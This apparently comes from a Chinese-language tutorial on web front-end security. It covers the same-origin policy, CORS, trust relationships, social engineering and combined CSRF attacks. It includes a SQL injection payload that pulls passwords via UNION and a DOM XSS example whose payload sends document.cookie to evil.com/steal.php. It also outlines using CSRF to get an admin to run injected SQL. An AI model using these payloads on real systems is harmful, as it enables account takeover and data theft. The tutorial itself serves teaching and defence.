数据与指令

用浏览器打开一个网站,呈现在我们面前的都是数据,有服务端存储的(如:数据库、内存、文件系统等)、客户端存储的(如:本地Cookies、Flash Cookies等)、传输中的(如:JSON数据、XML数据等),还有文本数据(如:HTML、JavaScript、CSS等)、多媒体数据(如:Flash、MP3等)、图片数据等。

这些数据构成了我们看到的Web世界,它表面丰富多彩,背后却是暗流涌动。在数据流的每一个环节都可能出现安全风险。因为数据流有可能被“污染”,而不像预期的那样存储或传输。

如何存储、传输并呈现出这些数据,这需要执行指令,可以这样理解:指令就是要执行的命令。正是这些指令被解释执行,才产生对应的数据内容,而不同指令的解释执行,由对应的环境完成

select username,email,desc from users where id=1;

👆是一条简单的SQL查询指令,当这条指令被解释执行时,就会产生一组数据,内容由username/email/desc构成,而解释的环境则为数据库引擎

<script>
eval(location.hash.substr(1));
</script>

<script></script>标签内的是一句JavaScript指令,由浏览器的JavaScript引擎来解释执行,解释的结果就是数据。而<script></script>本身却是HTML指令,俗称HTML标签,由浏览器DOM引擎进行渲染执行

如果数据与指令之间能各司其职,那么Web世界就非常太平了。可太平盛世真正存在吗?当正常的数据内容被注入指令内容,在解释的过程中,如果注入的指令能够被独立执行,那么攻击就发生了

SQL注入攻击的发生

select username,email,desc from users where id=1;

👇以MySQL环境为例进行说明,在这条SQL语句中,如果id的值来自用户提交,并且用户是通过传参?id=1来获取自身的账号信息。当访问这样的链接时,后端会执行上面这条SQL语句,并返回对应id号的用户数据给前端显示。那么普通用户会规规矩矩地对id提交整型数值,而邪恶的攻击者则会提交如下形式的值

1 union select password,1,1 from users

最终传入的参数会是?id=1 union select password,1,1 from users

👇最终组成的SQL语句

select username,email,desc from users where id=1 union select password,1,1 from users

这样组成的SQL语句是合法的,一个经典的union查询,此时注入的指令内容就会被当做合法指令执行。当这样的攻击发生时,users表的password就很可能泄漏

XSS跨站脚本攻击的发生

<script>
eval(location.hash.substr(1));
</script>

将这段代码保存到info.html

JavaScript的内置函数eval可以动态执行JavaScript语句

screenshot

screenshot 1

location.hash.substr(1)表示截取#符号之后的内容,随后给eval函数进行动态执行

如果攻击者构造出http://url/info.html#new%20Image().src="http://evil/steal.php?c="+escape(document.cookie)

浏览器解释执行后eval(location.hash.substr(1))会成为👇形式

eval('new Image().src="http://www.evil.com/steal.php?c="+escape(document.cookie)')

当被攻击者诱骗访问了该链接时,Cookies会话信息就会被盗取到黑客的网站上,一般情况下,黑客利用该Cookies可以登录被攻击者的账号,并进行越权操作

由此可以看到,攻击的发生是因为注入了一段恶意的指令,并且该指令能被执行

跨站脚本攻击(XSS)发生在浏览器客户端,而SQL注入攻击由于针对的对象是数据库,一般情况下,数据库都在服务端,所以SQL注入是发生在服务端的攻击。为什么这里说“一般情况下”,那是因为HTML5提供了一个新的客户端存储机制:在浏览器端,使用SQLite数据库保存客户端数据,该机制允许使用JavaScript脚本操作SQL语句,从而与本地数据库进行交互

浏览器的同源策略

Web世界之所以能如此美好地呈现在我们面前,多亏了浏览器的功劳,不过浏览器不是一个花瓶,只负责呈现,它还制定了一些安全策略,这些安全策略有效地保障了用户计算机的本地安全与Web安全

计算机的本地与Web是不同的层面,Web世界,通常称为Internet域,运行在浏览器上,而被限制直接进行本地数据,通常称为本地域的读写

同源策略是众多安全策略的一个,是Web层面上的策略,非常重要

🔔同源策略规定:不同域的客户端脚本在没明确授权的情况下,不能读写对方的资源

不同域或同域

🔔同域要求两个站点同协议、同域名、同端口

👇展示表中所列站点与http://www.foo.com是否同域的情况

screenshot 2

❗️通常所说的两个站点同域就是指它们同源

客户端脚本

客户端脚本主要指JavaScript(各个浏览器原生态支持的脚本语言)、ActionScript(Flash的脚本语言),以及JavaScript与ActionScript都遵循的ECMAScript脚本标准。Flash提供通信接口,使得这两个脚本语言可以很方便地互相通信

客户端的攻击几乎都是基于这两个脚本语言进行的,当然JavaScript是最广泛的,被打入“冷宫”的客户端脚本有VBScript,由于该脚本语言相对较孤立,又有当红的JavaScript存在,所以实在是没有继续存在的必要

授权

一般情况下,看到这个词往往会想到服务端对客户端访问的授权。客户端也存在授权现象,比如HTML5新标准中提到关于AJAX跨域访问的情况,默认情况下是不允许跨域访问的;只有目标站点,假如是http://www.foo.com,明确返回👇HTTP响应头

Access-Control-Allow-Origin: http://www.evil.com

那么www.evil.com站点上的客户端脚本就有权通过AJAX技术对www.foo.com上的数据进行读写操作

AJAX是Asynchronous JavaScript And XML的缩写,让数据在后台进行异步传输,常见的使用场景有:对网页的局部数据进行更新时,不需要刷新整个网页,以节省带宽资源。AJAX也是黑客进行Web客户端攻击常用的技术,因为这样攻击就可以悄无声息地在浏览器后台进行,做到“杀人无形”

读写权限

Web上的资源有很多,有的只有读权限,有的同时拥有读和写的权限。比如:HTTP请求头里的Referer只可读,而document.cookie则具备读写权限。这样的区分也是为了安全上的考虑

资源

资源是一个很广泛的概念,只要是数据,都可以认为是资源;同源策略里的资源是指Web客户端的资源

一般来说资源包括:HTTP消息头、整个DOM树、浏览器存储(如Cookies、Flash Cookies、localStorage等)。客户端安全威胁都是围绕这些资源进行的

DOM全称为Document Object Model,即文档对象模型,就是浏览器将HTML/XML这样的文档抽象成一个树形结构,树上的每个节点都代表HTML/XML中的标签、标签属性或标签内容等。这样抽象出来就大大方便了JavaScript进行读/写操作。Web客户端的攻击几乎都离不开DOM操作

到此已经将同源策略的规定分析清楚,如果Web世界没有同源策略,当你登录Gmail邮箱并打开另一个站点时,这个站点上的JavaScript就可以跨域读取你的Gmail邮箱数据,这样整个Web世界就无隐私可言。这就是同源策略的重要性,它限制了这些行为。当然在同一个域内,客户端脚本可以任意读写同源内的资源,前提是这个资源本身是可读可写的

信任与信任关系

安全的攻防都是围绕“信任”进行的

前面提到的同源策略也是信任的一种表现,默认情况下不同源则不信任,即不存在什么信任关系,这都是出于安全的考虑

场景一

一个Web服务器上有两个网站A与B,黑客的入侵目标是A,但是直接入侵A遇到了巨大阻碍,而入侵B却成功了。由于网站A与B在同一个Web服务器上,且在同一个文件系统里,如果没进行有效的文件权限配置,黑客就可以轻而易举地攻克网站A。这里暴露的缺陷是:A与B之间过于信任,未做很好的分离

安全类似木桶原理,短的那块板决定了木桶实际能装多少水。一个Web服务器,如果其上的网站没做好权限分离,没控制好信任关系,则整体安全性就由安全性最差的那个网站决定

场景二

很多网站都嵌入了第三方的访问统计脚本,嵌入的方式是使用<script>标签引用,这时就等于建立了信任关系,如果第三方的统计脚本被黑客挂马,那么这些网站也都会被危及

这个现象非常普遍,且这种形式的挂马攻击也发生过好几起。你的网站本身是很安全的,由于嵌入了第三方内容,从而导致网站不安全,虽然这样不会导致你的网站直接被入侵,但却危害到了访问你网站的广大用户

这种信任关系很普遍,服务器与服务器、网站与网站、Web服务的不同子域、Web层面与浏览器第三方插件、Web层面与浏览器特殊API、浏览器特殊API与本地文件系统、嵌入的Flash与当前DOM树、不同协议之间等等。一个安全性非常好的网站有可能会因为建立了不可靠的信任关系,导致网站被黑

信任导致建立了一种信任关系

社会工程学的作用

攻防过程就是一个斗智斗勇的过程,每一次成功的攻击,社工总是扮演着非常重要的角色。著名黑客凯文米特尼克在《欺骗的艺术》一书中说的就是社工如何神奇,其实通俗地说,社工就是“骗”,即如何伪装攻击以欺骗目标用户

常用的社工辅助技巧有:Google Hack、SNS垂直搜索、各种收集的数据库集合查询等

攻防不单一

一次完整的渗透会利用到多种攻击手法。比如某开源Web应用的管理员后台有SQL注入,通过前期的踩点,我们发现这个SQL注入具有操作系统写权限,而且知道了该开源Web应用的物理路径。如果不是管理员后台,直接用一条SQL语句就可以得到一个Web后门,好像很可惜,因为必须具备管理员权限

其实不然,在这个场景中完全不用悲观,借用CSRF很可能就能成功,👇大致过程

  1. 提交包含恶意SQL语句的后台链接(事先做好URL的各种编码转换,以达到隐蔽效果)给管理员,比如留言、评论、申请友情链接等
  2. 管理员登录Web应用被诱骗打开链接
  3. 发生CSRF,此时就会以管理员权限进行后续的指令执行

这个过程通过CSRF借用了管理员权限,然后执行SQL注入,很巧妙地“借刀杀人”

CSRF是跨站请求伪造。这个小场景暗示:CSRF会借用目标用户的权限做一些借刀杀人的事,❗️是“借用”,而不是“盗取”目标权限,“盗取”通常是XSS最喜欢做的事

在Web渗透过程中,这些攻击手法经常互补,合理地组合各种攻击手法,可以更容易攻下目标。攻与防都得考虑这些组合情况,把安全点考虑得面面俱到的确不容易,但绝对是好事

场景很重要

经常听到有人说:“XSS没危害,很少有人去关注”其实是说这话的人可能省略了上下文,比如对于那些半年不更新的小企业网站来说,发生XSS漏洞几乎没什么用

挂马?几乎不会发生,对于没影响力的网站,谁会用XSS去诱骗挂马?盗取管理员Cookies?半年不更新的网站,这个概率很低;如果真的有人去进行APT持久化威胁攻击,就盯这个网站半年,一个XSS盗取Cookies的利用一等就是半年,管理员也许不会被诱骗查看这个XSS链接,即使查看了,如果是个反射型的XSS,IE 8/IE 9/Chome直接就给拦截。危害几乎可以忽略。可是就这样一传十,十传百,很多人都开始感觉XSS就是鸡肋,下结论越来越不负责,在他们眼里只有那种类似MS08-067远程用操作系统权限的系统级别漏洞才是王道,我们不否认这样很帅,不过前端黑客攻击的对象是Web应用,并非操作系统,本身没有可比性

在很多场景中,前端攻击如XSS等就是王道

比如在各类SNS、邮件系统、开源流行的Web应用场景中,前端攻击被广泛实施与关注。任何一次攻击都脱离不了具体场景